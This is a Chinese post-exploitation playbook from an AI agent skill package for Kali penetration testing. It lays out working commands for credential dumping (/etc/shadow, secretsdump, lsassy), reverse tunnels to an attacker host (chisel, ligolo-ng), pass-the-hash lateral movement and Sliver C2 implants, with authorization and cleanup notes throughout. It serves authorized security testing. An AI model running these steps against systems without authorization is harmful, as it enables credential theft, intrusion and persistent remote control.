Skip to content

x-glacier/kali-pentest / kali-pentest-zh

kali-pentest-zh

Flagged

通过 SSH 或 Docker 使用 Kali Linux CLI 工具执行授权渗透测试。 覆盖:信息收集、漏洞分析、嗅探与欺骗、Web/API 渗透、漏洞利用、密码攻击、无线、云原生安全、RFID/NFC、VoIP/ICS、逆向工程、取证分析、后渗透/C2、报告生成。

FileKindSize
SKILL.mdskill md15.6 KB
references/cloud-native/README.mdmarkdown4.2 KB
references/cloud-native/tools/azurehound.mdmarkdown4.0 KB
references/cloud-native/tools/docker-bench-security.mdmarkdown1.9 KB
references/cloud-native/tools/kube-bench.mdmarkdown1.7 KB
references/cloud-native/tools/kubescape.mdmarkdown1.7 KB
references/cloud-native/tools/pacu.mdmarkdown3.0 KB
references/cloud-native/tools/peirates.mdmarkdown6.4 KB
references/cloud-native/tools/prowler.mdmarkdown1.5 KB
references/cloud-native/tools/scoutsuite.mdmarkdown1.2 KB
references/environment/README.mdmarkdown1.4 KB
references/environment/docker-mode-networking.mdmarkdown2.2 KB
references/environment/docker-mode-persistent-container.mdmarkdown3.8 KB
references/environment/docker-mode.mdmarkdown2.0 KB
references/environment/local-mode.mdmarkdown946 B
references/environment/server-mode.mdmarkdown4.1 KB
references/environment/state-files.mdmarkdown2.3 KB
references/exploitation/README.mdmarkdown9.6 KB
references/exploitation/tools/chisel.mdmarkdown3.2 KB
references/exploitation/tools/coercer.mdmarkdown2.5 KB
references/exploitation/tools/dns2tcp.mdmarkdown3.8 KB
references/exploitation/tools/evil-winrm.mdmarkdown2.9 KB
references/exploitation/tools/evilginx2.mdmarkdown2.2 KB
references/exploitation/tools/getsploit.mdmarkdown2.0 KB
references/exploitation/tools/gophish.mdmarkdown6.1 KB
references/exploitation/tools/impacket.mdmarkdown10.9 KB
references/exploitation/tools/iodine.mdmarkdown3.5 KB
references/exploitation/tools/ligolo-ng.mdmarkdown3.3 KB
references/exploitation/tools/metasploit.mdmarkdown11.0 KB
references/exploitation/tools/mitm6.mdmarkdown2.6 KB
references/exploitation/tools/msfconsole.mdmarkdown3.9 KB
references/exploitation/tools/msfvenom.mdmarkdown8.5 KB
references/exploitation/tools/mssqlpwner.mdmarkdown2.5 KB
references/exploitation/tools/netcat.mdmarkdown4.4 KB
references/exploitation/tools/odat.mdmarkdown3.0 KB
references/exploitation/tools/proxytunnel.mdmarkdown2.2 KB
references/exploitation/tools/routersploit.mdmarkdown2.9 KB
references/exploitation/tools/searchsploit.mdmarkdown4.7 KB
references/exploitation/tools/setoolkit.mdmarkdown1015 B
references/exploitation/tools/smbclient.mdmarkdown2.8 KB
references/exploitation/tools/socat.mdmarkdown2.8 KB
references/exploitation/tools/veil.mdmarkdown2.9 KB
references/forensics/README.mdmarkdown8.8 KB
references/forensics/tools/bulk-extractor.mdmarkdown4.5 KB
references/forensics/tools/chainsaw.mdmarkdown2.6 KB
references/forensics/tools/chkrootkit.mdmarkdown2.6 KB
references/forensics/tools/dc3dd.mdmarkdown2.9 KB
references/forensics/tools/dcfldd.mdmarkdown3.2 KB
references/forensics/tools/ddrescue.mdmarkdown3.6 KB
references/forensics/tools/exiftool.mdmarkdown2.5 KB
references/forensics/tools/foremost.mdmarkdown2.4 KB
references/forensics/tools/hashdeep.mdmarkdown3.5 KB
references/forensics/tools/plaso.mdmarkdown3.7 KB
references/forensics/tools/regripper.mdmarkdown3.4 KB
references/forensics/tools/rkhunter.mdmarkdown3.4 KB
references/forensics/tools/scalpel.mdmarkdown2.6 KB
references/forensics/tools/sleuthkit.mdmarkdown4.0 KB
references/forensics/tools/ssdeep.mdmarkdown3.1 KB
references/forensics/tools/steghide.mdmarkdown2.8 KB
references/forensics/tools/stegseek.mdmarkdown2.5 KB
references/forensics/tools/tcpdump.mdmarkdown2.8 KB
references/forensics/tools/tcpflow.mdmarkdown3.4 KB
references/forensics/tools/testdisk.mdmarkdown3.0 KB
references/forensics/tools/tshark.mdmarkdown3.0 KB
references/forensics/tools/volatility.mdmarkdown5.0 KB
references/forensics/tools/yara.mdmarkdown3.3 KB
references/information-gathering/README.mdmarkdown15.6 KB
references/information-gathering/tools/altdns.mdmarkdown1.9 KB
references/information-gathering/tools/amass.mdmarkdown9.1 KB
references/information-gathering/tools/arp-scan.mdmarkdown1.9 KB
references/information-gathering/tools/assetfinder.mdmarkdown1.9 KB
references/information-gathering/tools/autorecon.mdmarkdown2.9 KB
references/information-gathering/tools/certgraph.mdmarkdown3.3 KB
references/information-gathering/tools/cloud-enum.mdmarkdown2.1 KB
references/information-gathering/tools/cloudbrute.mdmarkdown2.1 KB
references/information-gathering/tools/dig.mdmarkdown2.3 KB
references/information-gathering/tools/dmitry.mdmarkdown2.0 KB
references/information-gathering/tools/dnsenum.mdmarkdown1.7 KB
references/information-gathering/tools/dnsgen.mdmarkdown1.5 KB
references/information-gathering/tools/dnsmap.mdmarkdown1.8 KB
references/information-gathering/tools/dnsrecon.mdmarkdown2.7 KB
references/information-gathering/tools/dnstwist.mdmarkdown3.0 KB
references/information-gathering/tools/dnsx.mdmarkdown2.8 KB
references/information-gathering/tools/eyewitness.mdmarkdown2.4 KB
references/information-gathering/tools/fierce.mdmarkdown2.5 KB
references/information-gathering/tools/finalrecon.mdmarkdown2.4 KB
references/information-gathering/tools/findomain.mdmarkdown2.5 KB
references/information-gathering/tools/fping.mdmarkdown2.3 KB
references/information-gathering/tools/getallurls.mdmarkdown2.4 KB
references/information-gathering/tools/gowitness.mdmarkdown4.8 KB
references/information-gathering/tools/h8mail.mdmarkdown3.9 KB
references/information-gathering/tools/hakrawler.mdmarkdown2.3 KB
references/information-gathering/tools/hosthunter.mdmarkdown2.6 KB
references/information-gathering/tools/httprobe.mdmarkdown2.1 KB
references/information-gathering/tools/httpx.mdmarkdown4.6 KB
references/information-gathering/tools/ldeep.mdmarkdown4.9 KB
references/information-gathering/tools/masscan.mdmarkdown3.8 KB
references/information-gathering/tools/massdns.mdmarkdown1.9 KB
references/information-gathering/tools/metagoofil.mdmarkdown3.0 KB
references/information-gathering/tools/naabu.mdmarkdown2.7 KB
references/information-gathering/tools/nbtscan.mdmarkdown2.2 KB
references/information-gathering/tools/netdiscover.mdmarkdown2.6 KB
references/information-gathering/tools/nmap.mdmarkdown8.4 KB
references/information-gathering/tools/p0f.mdmarkdown2.1 KB
references/information-gathering/tools/recon-ng.mdmarkdown6.6 KB
references/information-gathering/tools/sherlock.mdmarkdown3.7 KB
references/information-gathering/tools/shodan.mdmarkdown3.6 KB
references/information-gathering/tools/spiderfoot.mdmarkdown2.7 KB
references/information-gathering/tools/subfinder.mdmarkdown2.5 KB
references/information-gathering/tools/sublist3r.mdmarkdown1.9 KB
references/information-gathering/tools/theHarvester.mdmarkdown2.9 KB
references/information-gathering/tools/trufflehog.mdmarkdown3.1 KB
references/information-gathering/tools/wafw00f.mdmarkdown1.9 KB
references/information-gathering/tools/whatweb.mdmarkdown5.1 KB
references/information-gathering/tools/whois.mdmarkdown2.0 KB
references/password/README.mdmarkdown11.8 KB
references/password/tools/brutespray.mdmarkdown2.8 KB
references/password/tools/cewl.mdmarkdown2.1 KB
references/password/tools/changeme.mdmarkdown3.0 KB
references/password/tools/chntpw.mdmarkdown2.5 KB
references/password/tools/crowbar.mdmarkdown2.6 KB
references/password/tools/crunch.mdmarkdown2.7 KB
references/password/tools/fcrackzip.mdmarkdown2.3 KB
references/password/tools/gpp-decrypt.mdmarkdown2.6 KB
references/password/tools/hashcat.mdmarkdown4.6 KB
references/password/tools/hashid.mdmarkdown2.1 KB
references/password/tools/hydra.mdmarkdown4.4 KB
references/password/tools/john.mdmarkdown3.2 KB
references/password/tools/kerbrute.mdmarkdown2.8 KB
references/password/tools/medusa.mdmarkdown3.3 KB
references/password/tools/name-that-hash.mdmarkdown3.2 KB
references/password/tools/ncrack.mdmarkdown3.3 KB
references/password/tools/netexec.mdmarkdown3.2 KB
references/password/tools/patator.mdmarkdown2.2 KB
references/password/tools/pdfcrack.mdmarkdown2.9 KB
references/password/tools/rainbowcrack.mdmarkdown2.9 KB
references/password/tools/responder.mdmarkdown2.7 KB
references/playbooks/README.mdmarkdown8.1 KB
references/playbooks/active-directory.mdmarkdown14.0 KB
references/playbooks/api-security.mdmarkdown18.6 KB
references/playbooks/cloud-native-assessment.mdmarkdown17.6 KB
references/playbooks/external-attack-surface.mdmarkdown8.1 KB
references/playbooks/forensics-triage.mdmarkdown11.7 KB
references/playbooks/internal-network-protocols.mdmarkdown6.5 KB
references/playbooks/internal-network.mdmarkdown14.4 KB
references/playbooks/mobile-application.mdmarkdown9.8 KB
references/playbooks/password-audit.mdmarkdown9.0 KB
references/playbooks/post-exploitation.mdmarkdown11.4 KB
references/playbooks/reporting-workflow.mdmarkdown6.3 KB
references/playbooks/rfid-nfc.mdmarkdown7.2 KB
references/playbooks/source-code-audit.mdmarkdown8.4 KB
references/playbooks/voip-ics.mdmarkdown17.3 KB
references/playbooks/web-application.mdmarkdown14.7 KB
references/playbooks/wireless-assessment.mdmarkdown9.6 KB
references/post-exploitation/README.mdmarkdown11.0 KB
references/post-exploitation/tools/bloodhound.mdmarkdown4.8 KB
references/post-exploitation/tools/bloodhound.py.mdmarkdown4.0 KB
references/post-exploitation/tools/bloodyad.mdmarkdown4.1 KB
references/post-exploitation/tools/certipy-ad.mdmarkdown3.2 KB
references/post-exploitation/tools/dnscat2.mdmarkdown3.5 KB
references/post-exploitation/tools/dploot.mdmarkdown4.2 KB
references/post-exploitation/tools/havoc.mdmarkdown3.8 KB
references/post-exploitation/tools/hekatomb.mdmarkdown3.0 KB
references/post-exploitation/tools/krbrelayx.mdmarkdown7.3 KB
references/post-exploitation/tools/lapsdumper.mdmarkdown2.4 KB
references/post-exploitation/tools/linpeas.mdmarkdown3.6 KB
references/post-exploitation/tools/linux-exploit-suggester.mdmarkdown2.8 KB
references/post-exploitation/tools/lsassy.mdmarkdown2.8 KB
references/post-exploitation/tools/mimikatz.mdmarkdown4.2 KB
references/post-exploitation/tools/powershell-empire.mdmarkdown4.0 KB
references/post-exploitation/tools/powersploit.mdmarkdown5.5 KB
references/post-exploitation/tools/proxychains.mdmarkdown2.1 KB
references/post-exploitation/tools/pspy.mdmarkdown2.8 KB
references/post-exploitation/tools/pwncat.mdmarkdown6.4 KB
references/post-exploitation/tools/sliver.mdmarkdown1.4 KB
references/post-exploitation/tools/sshuttle.mdmarkdown3.2 KB
references/post-exploitation/tools/winpeas.mdmarkdown3.0 KB
references/reporting/README.mdmarkdown2.5 KB
references/reporting/tools/pandoc.mdmarkdown3.2 KB
references/reporting/tools/report-template.mdmarkdown8.5 KB
references/reverse-engineering/README.mdmarkdown5.6 KB
references/reverse-engineering/tools/apktool.mdmarkdown1.8 KB
references/reverse-engineering/tools/binwalk.mdmarkdown3.0 KB
references/reverse-engineering/tools/checksec.mdmarkdown3.5 KB
references/reverse-engineering/tools/dex2jar.mdmarkdown3.2 KB
references/reverse-engineering/tools/frida.mdmarkdown2.4 KB
references/reverse-engineering/tools/ghidra-headless.mdmarkdown3.0 KB
references/reverse-engineering/tools/jadx.mdmarkdown2.2 KB
references/reverse-engineering/tools/ldd.mdmarkdown1.9 KB
references/reverse-engineering/tools/nm.mdmarkdown2.3 KB
references/reverse-engineering/tools/objdump.mdmarkdown2.5 KB
references/reverse-engineering/tools/objection.mdmarkdown3.0 KB
references/reverse-engineering/tools/rabin2.mdmarkdown2.3 KB
references/reverse-engineering/tools/radare2.mdmarkdown1.3 KB
references/reverse-engineering/tools/readelf.mdmarkdown2.3 KB
references/reverse-engineering/tools/ropper.mdmarkdown4.1 KB
references/reverse-engineering/tools/strings.mdmarkdown2.3 KB
references/reverse-engineering/tools/xxd.mdmarkdown2.3 KB
references/rfid-nfc/README.mdmarkdown2.7 KB
references/rfid-nfc/tools/libnfc.mdmarkdown2.2 KB

references/playbooks/post-exploitation.md

View on GitHub
# 后渗透 Playbook

用于已获得授权初始访问,且任务允许权限提升、横向移动、二进制分析、隧道或 C2/对手模拟的场景。

## 输入

- 访问方式、用户权限、主机操作系统、网络位置和允许的后渗透动作。
- 是否授权提权、凭据收集、横向移动、持久化、隧道或 C2。
- 数据处理规则,以及禁止访问的文件、主机或账户。

## 流程

1. **稳定并记录访问**
   - 记录主机、用户、shell 类型、来源漏洞利用、时间和命令日志。
   - 仅在必要时稳定 shell;除非明确授权,不做持久化。
   - **间接执行通道:** 如果访问是通过非 shell 接口获得的(Jenkins 脚本控制台、MSSQL xp_cmdshell、Web Shell、计划任务),将枚举命令适配到该通道。当任务需要文件传输、交互式工具或持续访问时升级为反向 Shell;否则继续使用间接执行以减少痕迹。

2. **态势感知**
   - 识别网络位置、域成员关系、已登录用户和运行中的安全工具(AV/EDR)。
   - **延迟服务测试:** 检查 `todo.txt` 中在网络扫描期间标记为本地绑定的服务。对每个服务,从当前主机测试:验证访问、使用所有已发现凭据尝试认证、枚举内容。

   (后渗透工具选择参见 `../post-exploitation/README.md`。)
   - Windows:
     ```cmd
     whoami /all
     systeminfo
     net user
     net localgroup administrators
     qwinsta
     tasklist /svc
     schtasks /query /fo csv /nh
     netstat -ano
     wmic product get name,version
     wmic qfe list brief
     # 已加域?立即采集 BloodHound 数据
     # 从 Kali 运行 bloodhound-python(首选——无需传输文件;参见 ../post-exploitation/tools/bloodhound.py.md)
     bloodhound-python -u <user> -p <password> -d <domain> -dc <dc> -c All
     ```
   - Linux:
     ```bash
     id
     uname -a
     cat /etc/os-release
     w
     ps aux
     netstat -tulpn
     ss -tulpn
     dpkg -l 2>/dev/null || rpm -qa 2>/dev/null
     ```
   - **本地绑定服务利用:** 识别监听在 127.0.0.1 上、网络扫描期间无法访问的服务。对每个服务测试未授权访问,使用先前发现的凭据,并枚举其内容(数据库表、缓存键、会话令牌、管理面板、调试接口)。
   - 识别安全控制:检查 AV/EDR 进程(`MsMpEng.exe`、`cb.exe`、`falcon-sensor`、`clamd`)、防火墙规则和日志配置。
   - 判断主机是否已加入域(Windows:`systeminfo | findstr Domain`,Linux:`realm list` 或检查 `/etc/krb5.conf`)。

3. **本地枚举**
   - 运行操作系统、网络、进程、服务、计划任务和权限检查。
   - 根据平台和授权使用 `linpeas`、`winpeas`、`pspy` 和 `linux-exploit-suggester`。

   (后渗透工具选择参见 `../post-exploitation/README.md`。)

4. **权限提升**
   - 按照 `../post-exploitation/README.md` 中的 Linux/Windows 结构化提权路径执行。
   - 风险门禁:内核漏洞利用和系统级漏洞利用需在执行前获得明确批准。

   **系统化权限提升:** 测试清单中的所有适用向量,不要在第一条成功路径处停止。记录每个向量的结果(可利用 / 不可利用 / 不适用)。当 linpeas/winpeas 报告无明显发现时,手动验证最常见的向量后才可接受阴性结果。

   **零发现应对:** 如果 linpeas/winpeas 未发现提权路径,手动检查 SUID/SGID 二进制文件、sudo 错误配置、可写 cron 任务、内核版本与已知漏洞利用的对比,以及服务账户权限。在 Windows 上,检查 SeImpersonate/SeAssignPrimaryToken 权限、未加引号的服务路径以及可修改的服务二进制文件。在得出无法提权的结论前,记录每项检查结果。

5. **凭据和敏感数据处理**
   - 仅在明确授权时使用凭据提取工具。
   - 将哈希、票据、DPAPI 数据、浏览器密钥和密钥材料视为敏感证据。
   - 平台专项工具(使用前需明确授权):
     - **Linux**:仅在明确授权时收集本地产物,如 `/etc/shadow`、SSH 密钥、`.bash_history`、应用配置文件(数据库连接字符串、API 密钥)和应用密钥。

       ```bash
       cat /etc/shadow                            # 密码哈希(需要 root)
       find / -name "id_rsa" -o -name "id_ed25519" -o -name "*.pem" 2>/dev/null
       cat ~/.bash_history                        # 包含密码的命令历史
       # 搜索配置文件中的数据库连接字符串和凭据
       grep -ri 'password\|passwd\|db_pass\|connectionstring' /etc/ /opt/ /var/www/ 2>/dev/null
       ```

     - **Windows**:`mimikatz` 用于内存中的凭据提取;`dploot` 用于 DPAPI secrets 和浏览器凭据。
     - **Active Directory**:`impacket-secretsdump` 用于远程 SAM/LSA/NTDS 提取:

       ```bash
       impacket-secretsdump <domain>/<user>:<password>@<target> -dc-ip <dc>
       impacket-secretsdump -hashes :<ntlm_hash> <domain>/<user>@<target>
       ```

     - **远程 LSASS 提取**:`lsassy` 用于无需上传二进制文件的凭据提取:

       ```bash
       lsassy -d <domain> -u <user> -p '<password>' <target>
       ```
   - 为每个凭据产物记录哈希类型、来源主机、用户账号和提取方法。
   - 交叉参考 `password-audit.md` 了解哈希破解工作流。

   **凭据搜索清单:** 系统化搜索所有常见凭据位置,不要在第一个发现处停止。Linux:`/etc/shadow`、SSH 密钥、`.bash_history`、`.env` 文件、数据库配置、`/opt/` 和 `/var/www/` 中的应用配置、Docker 环境文件、云凭据文件(`~/.aws/`、`~/.config/gcloud/`)。Windows:SAM/LSA、缓存凭据、DPAPI、浏览器配置文件、保存的 RDP 凭据、注册表存储的密码、Vault、应用配置文件。记录已检查的位置及在每个位置的发现(或未发现)。

6. **跳板转发和横向移动**
   - 仅在批准网络范围内使用 `proxychains`、`chisel`、`ligolo-ng` 或 `dnscat2`。隧道和跳板工具选择参见 `../exploitation/README.md`(HTTP 出口、L3 路由、仅 DNS、端口转发决策树)。
   - **隧道方案选择:** 对被控主机有 SSH 访问时,从 Kali 使用 `sshuttle`(最简单,无需上传二进制文件)。仅有 Shell 但无 SSH 时,使用 `chisel` 或 `ligolo-ng`(需要上传二进制文件)。隐蔽优先时,在被控主机上直接运行工具以减少网络痕迹。需要完整 Kali 工具集时,优先通过隧道在 Kali 端执行。
   - 设置隧道以访问内部网络:
     ```bash
     # chisel:在攻击主机上启动服务器
     chisel server --reverse -p 8888

     # chisel:从被攻陷主机连接
     chisel client <attack_ip>:8888 R:socks

     # proxychains:通过 SOCKS 代理路由工具
     proxychains nmap -sT -Pn <internal_target>

     # ligolo-ng:在攻击主机上启动代理
     ligolo-proxy -selfcert -laddr 0.0.0.0:11601

     # ligolo-ng:从被攻陷主机连接 agent
     ./ligolo-agent -connect <attack_ip>:11601 -ignore-cert

     # VPN 式 SSH 隧道(目标无需上传二进制文件)
     sshuttle -r <user>@<compromised-host> <internal-subnet>/24
     ```

   使用 `sshuttle` 通过 SSH 建立透明的 VPN 式隧道,无需在目标上上传二进制文件(参见 `../post-exploitation/tools/sshuttle.md`)。当 SSH 不可用时使用 `chisel` 或 `ligolo-ng` 进行 SOCKS 隧道(参见 `../exploitation/tools/chisel.md` 和 `../exploitation/tools/ligolo-ng.md`)。
   - 使用发现的凭据通过授权工具进行横向移动:
     ```bash
     # 使用 impacket 进行 Pass-the-hash
     impacket-psexec -hashes :<ntlm_hash> <domain>/<user>@<target>
     impacket-wmiexec -hashes :<ntlm_hash> <domain>/<user>@<target>
     impacket-smbexec <domain>/<user>:<password>@<target>
     impacket-atexec <domain>/<user>:<password>@<target> <command>

     # 使用凭据通过 WinRM 连接
     evil-winrm -i <target> -u <user> -H <ntlm_hash>
     ```

   **横向移动工具选择:**

   | 条件 | 工具 | 原因 |
   |------|------|------|
   | 隐蔽优先 | `wmiexec` | 不写磁盘,不创建服务 |
   | 需要交互式 Shell | `psexec` 或 `evil-winrm` | 完整交互会话 |
   | WinRM 可用(5985/5986) | `evil-winrm` | 原生 PowerShell,内置文件传输 |
   | 单命令执行 | `atexec` | 计划任务,痕迹最少 |
   | 仅 SMB,无管理共享 | `smbexec` | 使用可写共享代替 ADMIN$ |

   - 对新可达的授权网段,重新启动 `internal-network.md` 或 `active-directory.md` playbooks。
   - 交叉参考 `active-directory.md` 了解域提权路径。

   **凭据 × 主机复用矩阵:** 构建每个凭据(破解的密码、哈希、密钥)与每台可达授权主机及服务的显式矩阵。使用对应协议(SMB、WinRM、SSH、RDP、MSSQL)逐项测试。不要在一台主机上测试一个凭据就停止——系统化地映射完整的复用攻击面。

7. **C2 和持久化**
   - 仅在明确红队授权且有清理计划时使用 `sliver`、持久化或对手模拟(参见 `../post-exploitation/tools/sliver.md`)。

   (C2 和持久化工具选择参见 `../post-exploitation/README.md`。)
   - 针对 Windows/PowerShell 环境的后渗透:`powershell-empire`(见 `../post-exploitation/tools/powershell-empire.md`)和 `powersploit`(见 `../post-exploitation/tools/powersploit.md`)。
   - Sliver 工作流:
     ```bash
     # 生成植入体
     sliver > generate --mtls <c2_ip>:443 --os windows --arch amd64 --save /tmp/implant.exe

     # 启动监听器
     sliver > mtls --lhost 0.0.0.0 --lport 443

     # 回连后 — 与会话交互
     sliver > use <session_id>
     sliver > info
     sliver > getprivs
     ```
   - 记录所有安装的持久化机制(注册表键、计划任务、服务、cron 任务),用于第 8 阶段清理。

8. **证据和清理**
   - 记录所有访问过的系统、使用的账户、修改的文件和上传的工具。
   - 移除植入的产物:上传的二进制文件、创建的账户、添加的 SSH 密钥、计划任务和持久化机制。
   - 恢复修改过的配置:防火墙规则、注册表键、服务配置和 cron 条目。
   - 验证清理:确认产物已移除,配置已恢复。
   - 编制证据包:命令日志、截图、凭据产物(按要求脱敏)、网络拓扑图和时间线。
   - 交叉参考 `reporting-workflow.md` 了解最终报告结构。

## 交叉引用

- `password-audit.md` — 哈希破解工作流。
- `active-directory.md` — 域提权路径。
- `internal-network.md` — 跳板转发后对新可达网段的网络级枚举。
- `reporting-workflow.md` — 报告结构和交付。

## 预期产物

- 访问摘要、命令日志、主机清单和权限上下文。
- 态势感知报告:网络位置、安全控制、域成员关系。
- 提权发现和验证证据。
- 凭据产物,包含来源、范围和处理说明。
- 跳板路由、代理设置和新可达的授权网络。
- C2 会话日志和持久化文档。
- 清理检查表及验证状态。

## 停止条件

- 所有适用的权限提升向量已测试并记录结果(可利用 / 不可利用 / 不适用)。
- 凭据搜索已覆盖所有常见位置,每个位置的结果已记录。
- 凭据 × 主机复用矩阵已对所有可达授权主机完成。
- 清理已执行并验证:所有产物、账号和持久化机制。
- 后续动作需要凭据提取、横向移动、持久化、C2 或访问超出授权范围的数据。
rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first.Stars: 196kUpdated Claude CodeCodexVerifiedInstall